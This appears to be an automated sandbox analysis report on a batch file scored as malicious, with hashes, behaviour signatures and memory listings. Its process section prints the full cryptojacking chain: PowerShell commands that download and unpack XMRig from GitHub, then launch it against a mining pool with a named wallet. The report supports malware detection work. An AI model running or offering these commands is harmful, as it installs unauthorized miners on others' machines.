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Analysis

  • max time kernel
    1796s
  • max time network
    1793s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 08:52

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1384
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4872
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2132

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ef2a2b2749980551cde2cef9ab14b73b

    SHA1

    2574d84355e2fa303f51075f26b324e443e4b3d1

    SHA256

    8fab28228e1705602b21e31f8f1e414438a7118d6b0e03ab5592a58fa03cab9b

    SHA512

    dc8a94849390c82a4c409395143e68043f01fc3d9ef9e07f469cd6727bb1576d05e6c47ce62f4b217c20300edcce59451670e6ea590605584432aa426ce7c518

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yapi5cwy.vlt.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    140KB

    MD5

    e47257acf8029fb504f7b020f324fc45

    SHA1

    8e9f2f8cc1a071b321723190daf3be723e1bf5d1

    SHA256

    b04ad7f5b4cf58b8980ca6fe4bd4c2435df2935d068eb7c814da94d94bf15c53

    SHA512

    acdc57709d49559aeafa8bb43c43aa0801f36ab7cf456ccae16dc353f52133d2cad049072f85616cf3e0f2eb0a73785d42dc2891c4f3d757fce032dad5d59c4b

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    191KB

    MD5

    e7c6bab7e6ea9f87b5874ffa1d94bd9b

    SHA1

    4d6899617a6d35025693caa3ce18a648c53b6a21

    SHA256

    9d90d23d03f1c033ef38fc6c332b411a68fa0910380dfb84af720107327273ca

    SHA512

    f58bbcca6dc811ccb5184e2b8f9b170abee587b4824cc35420cfd56f6eefeba4ddbdcdeb3d9273bbfb5ab0ef8a083af6d42bcb5b2f0a2187e773a435c2117804

  • memory/1384-4-0x000001D4EE970000-0x000001D4EE992000-memory.dmp

    Filesize

    136KB

  • memory/1384-7-0x00007FFFAC0E0000-0x00007FFFACACC000-memory.dmp

    Filesize

    9.9MB

  • memory/1384-9-0x000001D4EEB20000-0x000001D4EEB96000-memory.dmp

    Filesize

    472KB

  • memory/1384-10-0x000001D4D6330000-0x000001D4D6340000-memory.dmp

    Filesize

    64KB

  • memory/1384-8-0x000001D4D6330000-0x000001D4D6340000-memory.dmp

    Filesize

    64KB

  • memory/1384-25-0x000001D4D6330000-0x000001D4D6340000-memory.dmp

    Filesize

    64KB

  • memory/1384-30-0x00007FFFAC0E0000-0x00007FFFACACC000-memory.dmp

    Filesize

    9.9MB

  • memory/2132-142-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-147-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-184-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-183-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-182-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-181-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-180-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-117-0x000001D976D30000-0x000001D976D70000-memory.dmp

    Filesize

    256KB

  • memory/2132-118-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-120-0x000001D976D70000-0x000001D976D90000-memory.dmp

    Filesize

    128KB

  • memory/2132-119-0x000001D976D90000-0x000001D976DB0000-memory.dmp

    Filesize

    128KB

  • memory/2132-121-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-122-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-124-0x000001D976D70000-0x000001D976D90000-memory.dmp

    Filesize

    128KB

  • memory/2132-123-0x000001D976D90000-0x000001D976DB0000-memory.dmp

    Filesize

    128KB

  • memory/2132-125-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-126-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-127-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-128-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-129-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-130-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-131-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-132-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-133-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-134-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-135-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-136-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-137-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-138-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-139-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-140-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-141-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-116-0x000001D975430000-0x000001D975450000-memory.dmp

    Filesize

    128KB

  • memory/2132-143-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-144-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-145-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-146-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-179-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-148-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-149-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-150-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-151-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-152-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-153-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-154-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-155-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-156-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-157-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-158-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-159-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-160-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-161-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-162-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-163-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-164-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-165-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-166-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-167-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-168-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-169-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-170-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-171-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-172-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-173-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-174-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-175-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-176-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-177-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/2132-178-0x00007FF749980000-0x00007FF74A483000-memory.dmp

    Filesize

    11.0MB

  • memory/4872-36-0x00007FFFAC0E0000-0x00007FFFACACC000-memory.dmp

    Filesize

    9.9MB

  • memory/4872-37-0x000001EE32CE0000-0x000001EE32CF0000-memory.dmp

    Filesize

    64KB

  • memory/4872-76-0x000001EE33420000-0x000001EE33432000-memory.dmp

    Filesize

    72KB

  • memory/4872-89-0x000001EE33140000-0x000001EE3314A000-memory.dmp

    Filesize

    40KB

  • memory/4872-62-0x000001EE32CE0000-0x000001EE32CF0000-memory.dmp

    Filesize

    64KB

  • memory/4872-38-0x000001EE32CE0000-0x000001EE32CF0000-memory.dmp

    Filesize

    64KB

  • memory/4872-113-0x00007FFFAC0E0000-0x00007FFFACACC000-memory.dmp

    Filesize

    9.9MB